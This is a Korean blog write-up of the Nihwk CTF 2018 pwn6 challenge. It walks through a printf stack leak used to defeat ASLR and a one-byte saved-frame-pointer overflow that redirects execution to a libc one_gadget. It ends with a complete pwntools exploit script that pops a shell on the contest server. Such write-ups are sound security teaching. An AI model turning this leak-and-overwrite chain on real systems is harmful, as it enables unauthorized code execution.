제리의 블로그

Nihwk CTF 2018 pwn6 (Frame Pointer Overflow) 본문

CTF/pwnable

Nihwk CTF 2018 pwn6 (Frame Pointer Overflow)

j3rrry 2018. 8. 28. 13:15

Nihwk CTF 2018 pwn6






주최 측의 치명적인 실수로 문제가 오픈된 사건이 있었던 것 같은데

대회 공정성이 없어지면서 종료 시점 또한 없는 듯 합니다.

writeup을 써도 된다기에 이렇게 올립니다.


Pwn #6 神奇魔法麵包
2100
你可以解開神奇魔法麵包拿到shell嗎?

Please shell it

https://nihwkpwn.herokuapp.com/

중국어는 번역기 돌려도 모르겠지만

퍼너블인 것은 맞으니까 쉘을 따면 됩니다.




nc 0.tcp.ngrok.io 15076

Download: https://nihwkpwn.herokuapp.com/pwnfile

Sometimes, the port will be outdated, please wait for refresh

접속 정보와 바이너리가 주어집니다.




pwnfile의 압축을 풀면

두 개의 바이너리가 존재합니다.

libc-2.19.so: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d9a10b8ef90300628dd0a3a535106967714d7328, for GNU/Linux 2.6.24, stripped
magic_world:  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f3e6545f102a6268330f7ceb9299a385c7d07111, not stripped




    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled


 
int __cdecl main()
{
  int choice; // [sp+Ch] [bp-4h]@2

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  do
  {
    while ( 1 )
    {
      puts("================================");
      puts("   Magic World (∩^o^)⊃━☆゚.*・。");
      puts("================================");
      puts("      1. Regist a spell");
      puts("      2. Try a spell");
      puts("================================");
      __printf_chk(1LL, "Choice: ");
      __isoc99_scanf("%d", &choice);
      if ( choice != 1 )
        break;
      regist();
    }
  }
  while ( choice != 2 );
  magic();
  return 0;
}

main 에서 호출하는 사용자 정의함수로

regist 와 magic 함수가 있습니다.




void __cdecl regist()
{
  char buf[0x70]; // [sp+0h] [bp-70h]@1

  __printf_chk(1LL, "Give me your spell: ");
  read(0, buf, 0x64uLL);
  __printf_chk(1LL, "Regist: ");
  __printf_chk(1LL, buf);
}

BOF 취약점은 보이지 않습니다만


read 와 printf 의 콜라보로 스택 영역을 leak 할 수 있습니다.

입력: read 함수는 scanf 와는 다르게 버퍼의 마지막에 NULL 을 추가하지 않는 함수입니다.

출력: printf 함수는 길이 체크 없이 NULL 바이트까지 출력해주기 때문에 leak 할 수 있습니다.


leak 할 데이터는 스택에 저장되어있는 '오프셋'입니다.




다음은 read() 직후 스택 영역을 덤프한 모습입니다.

00007FFCFC289FD0  4141414141414141
00007FFCFC289FD8  00007FA11E5AD3EC  libc_2.19.so:_IO_do_write+7C
00007FFCFC289FE0  0000000000000020
00007FFCFC289FE8  00007FA11E8F6400  libc_2.19.so:_IO_2_1_stdout_
00007FFCFC289FF0  000000000000000A
00007FFCFC289FF8  0000000000400928  .rodata:s
00007FFCFC28A000  00007FFCFC28A140  [stack]:00007FFCFC28A140
00007FFCFC28A008  00007FA11E5AD7C3  libc_2.19.so:_IO_file_overflow+F3
00007FFCFC28A010  00007FA11E8F6400  libc_2.19.so:_IO_2_1_stdout_
00007FFCFC28A018  0000000000000020
00007FFCFC28A020  0000000000400928  .rodata:s
00007FFCFC28A028  00007FA11E5A2EA2  libc_2.19.so:puts+142

[rsp+0x30] 에 stack 의 주소가 남아있고

[rsp+0x8], [rsp+0x18], [rsp+0x38], [rsp+0x40], [rsp+0x50] 에 라이브러리의 주소가 남아있습니다.




예시로 [rsp+0x8] 의 라이브러리 주소를 leak 하는 부분입니다.

[DEBUG] Sent 0x8 bytes:
    'A' * 0x8
[DEBUG] Received 0x8 bytes:
    'Regist: '
[DEBUG] Received 0xe bytes:
    00000000  41 41 41 41  41 41 41 41  ec d3 5a 1e  a1 7f        │AAAA│AAAA│··Z·│··│
    0000000e
[DEBUG] Received 0x21 bytes:
    '================================\n'
[*] 0x7fa11e5ad3ec
'A' 8개만 넣기만 하면 printf 에 의해 NULL 이 나오기 전까지의 데이터를 모두 출력해줍니다. (leak)


>>> from pwn import *
>>> libc = ELF('./libc-2.19.so')
[*] './libc-2.19.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(0x7fa11e5ad3ec - (libc.sym._IO_do_write+0x7C))
'0x7fa11e533000'


<libc 의 base 주소>

상대 주소만큼 뺄셈하는 것으로 라이브러리의 base 를 계산하는데 성공했습니다.




void __cdecl magic()
{
  char buf[0x10]; // [sp+0h] [bp-10h]@1

  __printf_chk(1LL, "Give me your spell: ");
  read(0, buf, 0x11uLL);
}

magic() 함수에서는 1-byte Overflow 가 일어납니다.

지역변수 buf 의 크기는 0x10 인데

read() 함수는 0x11 까지 버퍼 입력을 받기 때문입니다.


이전 rbp 조작을 통해

궁극적으로는 rip 컨트롤하기 위함인데


필연적으로 leave; ret; 가 필요합니다.

main+0xdb:
.text:0000000000400875 leave
.text:0000000000400876 retn

leave 는 mov rsp, rbp; pop rbp; 로 쪼갤 수 있고

ret 는 pop rip 입니다.

mov rsp, rbp; 가 있기 때문에

리턴 어드레스가 삽입된 주소로 유인(?)을 할 수 있는 것입니다.




FPO 조건

1. SFP 를 1바이트 이상 덮어쓸 수 있어야 함.

2. BOF 취약점은 서브함수 안에 있어야 함.

3. 메인 함수의 에필로그가 leave; ret; 로 끝나야 함.




다음은 버퍼 입력하기 전의 스택 영역입니다.

00007FFCFC28A030  0000000000000000
00007FFCFC28A038  0000000000000000
00007FFCFC28A040  00007FFCFC28A060  [stack]:00007FFCFC28A060  (sfp)
00007FFCFC28A048  0000000000400869  main+CF                   (ret)

0x7ffcfc28a030 에 리턴 주소를 넣고

1-byte Overflow 로 이전 rbp 를 0x7ffcfc28a030-0x8 로 덮어씌우면

main() 함수의 에필로그에서 공격자가 지정한 주소로 리턴할 것입니다.


리턴 주소는 libc 의 one_gadget 을 사용했습니다.


버퍼 입력 후 스택 영역:

00007FFCFC28A030  00007FA11E579428  libc_2.19.so:__strtold_nan+408
00007FFCFC28A038  00007FA11E579428  libc_2.19.so:__strtold_nan+408
00007FFCFC28A040  00007FFCFC28A028  [stack]:00007FFCFC28A028
00007FFCFC28A048  0000000000400869  main+CF



$ id
uid=24095(u24095) gid=24095(dyno) groups=24095(dyno)
$ cat /home/*/flag
flag{nihwk_love_pwn_and_ong_gadge_forever!!!}


libc = ELF('./libc-2.19.so')
#r = remote('0.tcp.ngrok.io', 19049)
r = remote('0.tcp.ngrok.io', 15076)
#r = process('./magic_world', env={'LD_PRELOAD':'./libc-2.19.so'})

def regist(len):
    r.recvuntil(': ')
    r.sendline(str(1))
    r.recvuntil(': ')
    spell = 'A' * len
    r.send(spell)
    r.recvuntil(spell)
    return u64(r.recvuntil('==', True).ljust(8, '\0'))

def magic(payload):
    r.recvuntil(': ')
    r.sendline(str(2))
    r.recvuntil(': ')
    r.send(payload)

libc.address = regist(0x8) - 0x61c0
log.success(hex(libc.address))
stack = regist(0x30) - 0x110
log.success(hex(stack))

payload = ''
payload += p64(libc.address+0x46428) * 2
payload += chr(stack&0xff)
magic(payload)

r.interactive()



'CTF > pwnable' 카테고리의 다른 글

DefCamp CTF 2018 even more lucky Exploit  (0) 2018.09.23
DefCamp CTF 2018 lucky Exploit  (0) 2018.09.23
TJCTF 2018 Online Banking  (0) 2018.08.16
mm @ dimigo2018  (0) 2018.06.27
init @ dimigo2018  (0) 2018.06.27
Comments